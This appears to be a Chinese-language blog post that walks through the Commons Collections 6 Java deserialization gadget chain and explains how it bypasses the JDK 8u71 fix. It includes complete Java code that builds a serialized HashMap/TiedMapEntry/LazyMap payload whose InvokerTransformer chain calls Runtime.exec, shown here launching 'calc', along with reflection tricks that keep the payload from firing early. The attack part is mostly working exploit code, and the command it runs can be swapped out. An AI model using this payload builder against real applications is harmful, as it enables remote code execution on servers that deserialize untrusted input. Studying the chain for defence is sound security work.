Java反序列化CommonsCollections(六)

前言

这条链后边还是和第一条链一样都是利用了InvokerTransformer的transform方法反射调用任意方法 链一以及lazyMap链存在jdk版本的限制,因为两个链的入口是AnnotationInvocationHandler的readObject,但是8u71版本后这个readObject方法进行了修复。 cc6是对高本版的jdk的利用 增强了通用性,会利用到urlDns的部分链

环境

jdk1.8.0_71

分析

分析之前的lazyMap链知道 调用LazyMap的get方法 然后get方法调用了transform方法 之后还是接着之前的链 现在要重新找一个调用get方法的地方 注意到TiedMapEntry中的 getValue方法调用了get

public Object getValue() {
        return map.get(key);
    }

hashCode中有调用了getValue方法

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

然后就是urlDns的链 hashMap中的readObject调用了hash方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

hash方法调用了hashCode方法

public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);
        //第一个参数的map
        // get方法中调用的是map.get
        // 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
        HashMap<Object, Object> map2 = new HashMap<>();
        //hashMap的readObject时会调用hash方法 
        // 然后key.hashCode() 会调用key的hashCode方法  key的值为tiedMapEntry
        //调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
        map2.put(tiedMapEntry, "sss");

//        serialize(map2);
            unserialize("ser.bin");
    }

这里序列化就会弹出计算器 此处还存在一个问题,就是在put的时候也会调用hash方法 可能会让结果不准确 这里就参考urlDns那条链 首先修改LazMap中的factory 让他在put的时候不调用chainedTransformer 然后在序列化的时候再修改成chainedTransformer

...
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
...
...
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);

这样还是不行 调试跟一下 在put的时候 进入LazyMap中的get的时候

if (map.containsKey(key) == false) {
           Object value = factory.transform(key);
           map.put(key, value);
           return value;
       }

会判断key是否在map中 如果不存在 那么会将key再put进去 因为这里所以main函数中put之后这里的if条件是不成立的 因为可以在map中找到这个key 所以需要在序列化前 再将这个key给remove掉

public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        //第一个参数的map
        // get方法中调用的是map.get
        // 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
        HashMap<Object, Object> map2 = new HashMap<>();
        //hashMap的readObject时会调用hash方法
        // 然后key.hashCode() 会调用key的hashCode方法  key的值为tiedMapEntry
        //调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
        map2.put(tiedMapEntry, "sss");
        lazymap.remove("aaa");
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap,chainedTransformer);

//        serialize(map2);
        unserialize("ser.bin");
    }

cc6链如下

hashMap->readObject

(hashMap)readObject->hash(key)

(hashMap)hash->key.hashCode()  =>>key(TiedMapEntry)

TiedMapEntry.hashCode

(TiedMapEntry)hashCode->getValue()

getValue->map.get(key) map==LazyMap

LazyMap.get

get-->factory.transform(key)  factory==chainedTransformer

ChainedTransformer.transform

InvokerTransformer.transform

Java反序列化CommonsCollections(六)
http://example.com/2021/09/19/OldBlog/java反序列化commonscollections六/
作者
Autumn
发布于
2021年9月19日
许可协议